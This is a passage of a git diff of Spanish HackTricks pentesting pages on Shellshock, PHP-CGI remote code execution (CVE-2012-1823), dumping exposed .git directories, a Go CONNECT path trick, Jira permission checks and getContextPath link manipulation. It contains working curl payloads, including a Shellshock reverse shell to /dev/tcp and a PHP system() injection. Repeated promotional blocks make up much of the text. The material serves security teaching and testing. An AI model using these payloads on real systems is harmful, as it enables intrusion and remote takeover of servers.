nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(reflejado, ciego y out-of-band\)**
## **Curl \(reflejado, ciego y fuera de banda\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -28,7 +43,7 @@ curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker) es una herramienta que automatiza la explotación de la vulnerabilidad Shellshock en servidores web CGI. Esta herramienta utiliza una lista de objetivos y un archivo de carga útil para explotar la vulnerabilidad y obtener una shell remota en el servidor objetivo. Shellsocker también puede ser utilizado para realizar pruebas de penetración en servidores web CGI para detectar si son vulnerables a Shellshock.
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
@ -46,39 +61,37 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM para solicitudes al servidor web\)**
# **Proxy \(MitM a solicitudes de servidor web\)**
CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP\_HOST"="web.com"
Como la variable HTTP\_PROXY podría ser utilizada por el servidor web. Intente enviar un **encabezado** que contenga: "**Proxy: &lt;IP\_atacante&gt;:&lt;PUERTO&gt;**" y si el servidor realiza alguna solicitud durante la sesión. Podrá capturar cada solicitud realizada por el servidor.
Como la variable HTTP\_PROXY podría ser utilizada por el servidor web. Intenta enviar un **encabezado** que contenga: "**Proxy: &lt;IP\_atacante&gt;:&lt;PUERTO&gt;**" y si el servidor realiza alguna solicitud durante la sesión. Podrás capturar cada solicitud realizada por el servidor.
# PHP antiguo + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
Básicamente, si cgi está activo y php es "antiguo" \(&lt;5.3.12 / &lt; 5.4.2\) se puede ejecutar código.
Para explotar esta vulnerabilidad, es necesario acceder a algún archivo PHP del servidor web sin enviar parámetros \(especialmente sin enviar el carácter "="\).
Luego, para probar esta vulnerabilidad, podría acceder por ejemplo a `/index.php?-s` \(note el `-s`\) y **el código fuente de la aplicación aparecerá en la respuesta**.
Básicamente si cgi está activo y php es "antiguo" \(&lt;5.3.12 / &lt; 5.4.2\) puedes ejecutar código.
Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros \(especialmente sin enviar el carácter "="\).
Entonces, para probar esta vulnerabilidad, podrías acceder por ejemplo a `/index.php?-s` \(nota el `-s`\) y **el código fuente de la aplicación aparecerá en la respuesta**.
Luego, para obtener **RCE** puede enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** a ejecutar en el **cuerpo de la solicitud**.
Ejemplo:
Luego, para obtener **RCE** puedes enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` y el **código PHP** a ejecutar en el **cuerpo de la solicitud.
Ejemplo:**
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Más información sobre la vulnerabilidad y posibles exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Ejemplo de CTF Writeup**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
**Más información sobre la vulnerabilidad y posibles exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**Ejemplo de Writeup de CTF**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al **grupo de telegram** o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,50 +2,46 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Para descargar una carpeta .git desde una URL, utiliza** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper)
**Para volcar una carpeta .git desde una URL usa** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper)
**Usa** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **para inspeccionar el contenido**
Si se encuentra un directorio _.git_ en una aplicación web, puedes descargar todo el contenido usando _wget -r http://web.com/.git._ Luego, puedes ver los cambios realizados usando _git diff_.
Si se encuentra un directorio _.git_ en una aplicación web, puedes descargar todo el contenido usando _wget -r http://web.com/.git_. Luego, puedes ver los cambios realizados utilizando _git diff_.
Las herramientas: [Git-Money](https://github.com/dnoiz1/git-money), [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) y [GitTools](https://github.com/internetwache/GitTools) se pueden utilizar para recuperar el contenido de un directorio git.
Las herramientas: [Git-Money](https://github.com/dnoiz1/git-money), [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) y [GitTools](https://github.com/internetwache/GitTools) pueden ser utilizadas para recuperar el contenido de un directorio git.
La herramienta [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) se puede utilizar para buscar CVE y mensajes de vulnerabilidades de seguridad dentro de los mensajes de confirmación.
La herramienta [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) puede ser utilizada para buscar CVEs y mensajes de vulnerabilidades de seguridad dentro de los mensajes de commits.
La herramienta [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) busca datos sensibles en los repositorios de una organización y sus empleados.
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) es una herramienta basada en línea de comandos que fue escrita con un solo objetivo: ayudarte a descubrir secretos de GitHub que los desarrolladores hicieron accidentalmente al empujar datos sensibles. Y como las otras, te ayudará a encontrar contraseñas, claves privadas, nombres de usuario, tokens y más.
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) es una herramienta basada en línea de comandos que fue escrita con un único objetivo: ayudarte a descubrir secretos de GitHub que los desarrolladores accidentalmente expusieron al subir datos sensibles. Y como las demás, te ayudará a encontrar contraseñas, claves privadas, nombres de usuario, tokens y más.
[TruffleHog](https://github.com/dxa4481/truffleHog) busca en los repositorios de GitHub y escarba en el historial de confirmaciones y ramas, buscando secretos comprometidos accidentalmente.
[TruffleHog](https://github.com/dxa4481/truffleHog) busca a través de los repositorios de GitHub y escarba en el historial de commits y ramas, buscando secretos comprometidos accidentalmente
Aquí puedes encontrar un estudio sobre dorks de GitHub: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
Aquí puedes encontrar un estudio sobre dorks de github: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,13 +1,40 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Método CONNECT
En golang, la biblioteca net/http generalmente transforma la ruta a una canónica antes de acceder a ella:
En golang, la biblioteca net/http usualmente transforma la ruta a una canónica antes de acceder a ella:
* /flag/ -- Se responde con una redirección a /flag
* /../flag --- Se responde con una redirección a /flag
* /flag/. -- Se responde con una redirección a /flag
Sin embargo, cuando se utiliza el método CONNECT esto no sucede. Por lo tanto, si necesita acceder a algún recurso protegido, puede abusar de este truco:
Sin embargo, cuando se utiliza el método CONNECT esto no ocurre. Por lo tanto, si necesitas acceder a algún recurso protegido puedes abusar de este truco:
```text
curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
```
El código en el enlace proporcionado muestra la implementación de la función `readRequest` en el paquete `net/http` de Golang. Esta función se encarga de leer y analizar una solicitud HTTP entrante. Si se encuentra un error al leer la solicitud, se devuelve un error y se cierra la conexión. De lo contrario, se devuelve un puntero a una estructura `http.Request` que contiene información sobre la solicitud.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
- Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com).
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -18,7 +16,7 @@
## Verificar Privilegios
Dentro de una instancia de Jira **cualquier usuario** (incluso **no autenticados**) puede **verificar sus privilegios** en `/rest/api/2/mypermissions` o `/rest/api/3/mypermissions`. Estos endpoints devolverán tus privilegios actuales.\
Si un usuario **no autenticado** tiene algún **privilegio**, esto es una **vulnerabilidad** (¿bounty?).\
Si un usuario **no autenticado** tiene algún **privilegio**, esto es una **vulnerabilidad** (¿recompensa?).\
Si un usuario **autenticado** tiene algún **privilegio inesperado**, esto es una **vuln**.
Actualización: A partir del 1 de febrero de 2019, - el endpoint 'mypermissions' requiere un parámetro 'permission' con uno de los siguientes parámetros
@ -78,16 +76,14 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
- Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,27 +1,25 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# **Abuso de getContextPath**
# Abuso de **getContextPath**
Información obtenida de [aquí](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html).
Información de [aquí](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html).
```
http://127.0.0.1:8080/&sol;rakeshmane.com/xss.js&num;/..;/..;/contextPathExample/test.jsp
http://127.0.0.1:8080/&sol;rakeshmane.com/xss.js&num;/..;/..;/contextPathExample/test.jsp
```
Accediendo a esta web, puedes cambiar todos los enlaces para solicitar información a _**rakeshmane.com**_:
Accediendo a esa web puedes cambiar todos los enlaces para solicitar la información a _**rakeshmane.com**_:
![](<../../.gitbook/assets/image (260).png>)
@ -30,16 +28,14 @@ Accediendo a esta web, puedes cambiar todos los enlaces para solicitar informaci
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
